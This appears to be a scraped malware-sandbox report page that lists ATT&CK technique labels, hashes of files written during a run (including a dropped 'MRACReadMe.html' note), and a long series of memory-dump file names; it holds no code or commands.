Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!121\Microsoft\Windows\3720402701\1659841449.pri
MD5
6dfa43a584ed243390dc943abac397c0

SHA1
665637e060c9da24288944b90b377a309da6d533

SHA256
4f31fe4baa7a557ed5fc2ccf57b2861946ecea6222200aca124796e251a524ad

SHA512
9561a2867cf1e73578d0206d4c73e576e2b8c7497ec1db8a69df6a35ca78e84bf01060089e45ec32e5afde6d3b1de26afcd0e411a25b615042ce5bdd575cb6b0

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\LogFiles\edb.log
MD5
a7b87e647b9fd5ae241b8766fec8c96a

SHA1
3c8b0dfbc79aee88db8747fbd9b82415149927e2

SHA256
5dbd100e9ec006a57c974acb9a85708e405b2fb35cf22fc5a03acd91637c5f46

SHA512
1905e8cee45e8f9cb903ea51e40b79f85a0ff6ce2a8b4302c519ab25d56471f792b8a66bed7a6f3f0771b07fc9ed45062cc41138f1e7418bccdf3fa95e949ad0

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\edb.chk
MD5
16b57a64f98de7e8a5f6a0949b67dfdd

SHA1
d85cc5bd1fcad962fa069ce827dd9ea36dca43ea

SHA256
e80d28781ef90935f3856f650a5d31d16514ff7124b5d7be9ff65aeb71bf5c9c

SHA512
180b5ed6ac425ee9a52db5308671f2b64633dfed2de5b966fb1edd2d53a6eb1c253d3f7c335aa345c2440e8ff35330bd6ec149713a2fe0877a4a3b35071e4e88

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.edb
MD5
b18f91187339d689834c7e40c452a33d

SHA1
9c3c3ddb1779817b3f60f36c14992d17038ffb54

SHA256
3b433412ed6d46064fbbf959c10696eac338e05a604c246ea20c16494daaebfe

SHA512
58437b37a68020c2304797b801cd1da1ce7a339155304a3656094551e7f002e14b1583b5783d9191e862884e782059dda58f030f306a73f0bfef5d8a47b0728e

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.jfm
MD5
62cb2579ad9af872e6217241a5e763e8

SHA1
7c66af203bf8c660b8493cce9531116d8d71f412

SHA256
22268248d190d7ded1d5ffe6dadc44b905634f2a9e054267f1072f8b7511ff07

SHA512
bcd3fbacce8b3f6c91dd0d633e8dd4eb846aa89c06efbff3afa85c451ec81e176c0d8142da0f19ff86020f67cb604eab96ace09c43aa4a422c1d9799d103f040

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\Recovery\Active\RecoveryStore.{66587FA4-842D-4496-9B14-59BB922F9EF5}.dat
MD5
f804b2097272dcd6c30c44348998ce78

SHA1
3a8a60456f67329bb024c230e63c52f364813dd9

SHA256
dae96d11c44d2338895b7b11cb0213ece9aa1e106444015413879949db832a7f

SHA512
5665971777781211673a29c977819fc8e67c3681df9358e17909259c202e0718f9a6d3ed85408c73dbea160dcfd4b10f7a4129e35256735e8449a63590929e40

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\Recovery\Active\{86860C72-6B58-4356-85E6-4C298D2228AA}.dat
MD5
1b6da540b12e887a5b646e0329daba88

SHA1
7b1b1f97c4b9366c844f1b231d0e8b57f3e30cff

SHA256
7a6b9c31c9247f52ed447f9f59d1677749d1ce5bacdad980eeb2e26147151f91

SHA512
535573dc97e8aa996aab4b5390a329caadf0efca136b108db505c411f904fa7db8b6ec5f83b97a5dbe1be457a52d4cb989bc7116692cc28bd1adde6103062674

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\Microsoft\Windows\3720402701\1659841449.pri
MD5
6dfa43a584ed243390dc943abac397c0

SHA1
665637e060c9da24288944b90b377a309da6d533

SHA256
4f31fe4baa7a557ed5fc2ccf57b2861946ecea6222200aca124796e251a524ad

SHA512
9561a2867cf1e73578d0206d4c73e576e2b8c7497ec1db8a69df6a35ca78e84bf01060089e45ec32e5afde6d3b1de26afcd0e411a25b615042ce5bdd575cb6b0

Download Submit
C:\Users\Admin\Desktop\MRACReadMe.html
MD5
6f6fd7dd505611fb2b251f1edfb2e855

SHA1
7fbe00b60eab4f8b7ebba3a38afbda0631a1ed80

SHA256
a2d7319cb35819a3f2ef3450c9cb77cadb8fa378dcf9e88943929dec21b80f67

SHA512
053d4456780fe9103bc1c10a2e3e31bf820b8a84e55677b2bca07aa1c6a7f81c4124beda3836d7e6ddf1dd40201e1603e542e62027e2602f093543fcca2397ff

Download Submit
C:\Users\Public\Desktop\MRACReadMe.html
MD5
6f6fd7dd505611fb2b251f1edfb2e855

SHA1
7fbe00b60eab4f8b7ebba3a38afbda0631a1ed80

SHA256
a2d7319cb35819a3f2ef3450c9cb77cadb8fa378dcf9e88943929dec21b80f67

SHA512
053d4456780fe9103bc1c10a2e3e31bf820b8a84e55677b2bca07aa1c6a7f81c4124beda3836d7e6ddf1dd40201e1603e542e62027e2602f093543fcca2397ff

Download Submit
memory/400-177-0x0000000000000000-mapping.dmp

Download
memory/400-134-0x0000000000000000-mapping.dmp

Download
memory/420-178-0x0000000000000000-mapping.dmp

Download
memory/436-136-0x0000000000000000-mapping.dmp

Download
memory/496-125-0x0000000000000000-mapping.dmp

Download
memory/608-135-0x0000000000000000-mapping.dmp

Download
memory/712-120-0x0000000000000000-mapping.dmp

Download
memory/840-138-0x0000000000000000-mapping.dmp

Download
memory/984-139-0x0000000000000000-mapping.dmp

Download
memory/988-172-0x0000000000000000-mapping.dmp

Download
memory/1012-130-0x0000000000000000-mapping.dmp

Download
memory/1016-165-0x0000000000000000-mapping.dmp

Download
memory/1060-164-0x0000000000000000-mapping.dmp

Download
memory/1124-180-0x0000026FFBB20000-0x0000026FFBB30000-memory.dmp

Filesize
64KB

Download
memory/1184-153-0x0000000000000000-mapping.dmp

Download
memory/1196-167-0x0000000000000000-mapping.dmp

Download
memory/1228-166-0x0000000000000000-mapping.dmp

Download
memory/1376-121-0x0000000000000000-mapping.dmp

Download
memory/1472-159-0x0000000000000000-mapping.dmp

Download
memory/1596-171-0x0000000000000000-mapping.dmp

Download
memory/1608-127-0x0000000000000000-mapping.dmp

Download
memory/1636-175-0x0000000000000000-mapping.dmp

Download
memory/1652-132-0x0000000000000000-mapping.dmp

Download
memory/1652-176-0x0000000000000000-mapping.dmp

Download
memory/1668-119-0x0000000000000000-mapping.dmp

Download
memory/1692-123-0x0000000000000000-mapping.dmp

Download
memory/1740-143-0x0000000000000000-mapping.dmp

Download
memory/1744-152-0x0000000000000000-mapping.dmp

Download
memory/2036-145-0x0000000000000000-mapping.dmp

Download
memory/2040-144-0x0000000000000000-mapping.dmp

Download
memory/2196-158-0x0000000000000000-mapping.dmp

Download
memory/2244-146-0x0000000000000000-mapping.dmp

Download
memory/2260-147-0x0000000000000000-mapping.dmp

Download
memory/2268-122-0x0000000000000000-mapping.dmp

Download
memory/2324-169-0x0000000000000000-mapping.dmp

Download
memory/2380-137-0x0000000000000000-mapping.dmp

Download
memory/2400-154-0x0000000000000000-mapping.dmp

Download
memory/2432-140-0x0000000000000000-mapping.dmp

Download
memory/2712-163-0x0000000000000000-mapping.dmp

Download
memory/2796-115-0x0000000000000000-mapping.dmp

Download
memory/2840-133-0x0000000000000000-mapping.dmp

Download
memory/2924-149-0x0000000000000000-mapping.dmp

Download
memory/2984-142-0x0000000000000000-mapping.dmp

Download
memory/3012-160-0x0000000000000000-mapping.dmp

Download
memory/3096-148-0x0000000000000000-mapping.dmp

Download
memory/3108-117-0x0000000000000000-mapping.dmp

Download
memory/3132-155-0x0000000000000000-mapping.dmp

Download
memory/3140-156-0x0000000000000000-mapping.dmp

Download
memory/3180-173-0x0000000000000000-mapping.dmp

Download
memory/3312-118-0x0000000000000000-mapping.dmp

Download
memory/3320-162-0x0000000000000000-mapping.dmp

Download
memory/3464-126-0x0000000000000000-mapping.dmp

Download
memory/3468-131-0x0000000000000000-mapping.dmp

Download
memory/3512-141-0x0000000000000000-mapping.dmp

Download
memory/3588-174-0x0000000000000000-mapping.dmp

Download
memory/3596-129-0x0000000000000000-mapping.dmp

Download
memory/3680-128-0x0000000000000000-mapping.dmp

Download
memory/3760-150-0x0000000000000000-mapping.dmp

Download
memory/3832-161-0x0000000000000000-mapping.dmp

Download
memory/3832-116-0x0000000000000000-mapping.dmp

Download
memory/3884-170-0x0000000000000000-mapping.dmp

Download
memory/3936-151-0x0000000000000000-mapping.dmp

Download
memory/3980-124-0x0000000000000000-mapping.dmp

Download
memory/3984-168-0x0000000000000000-mapping.dmp

Download
memory/4080-157-0x0000000000000000-mapping.dmp

Download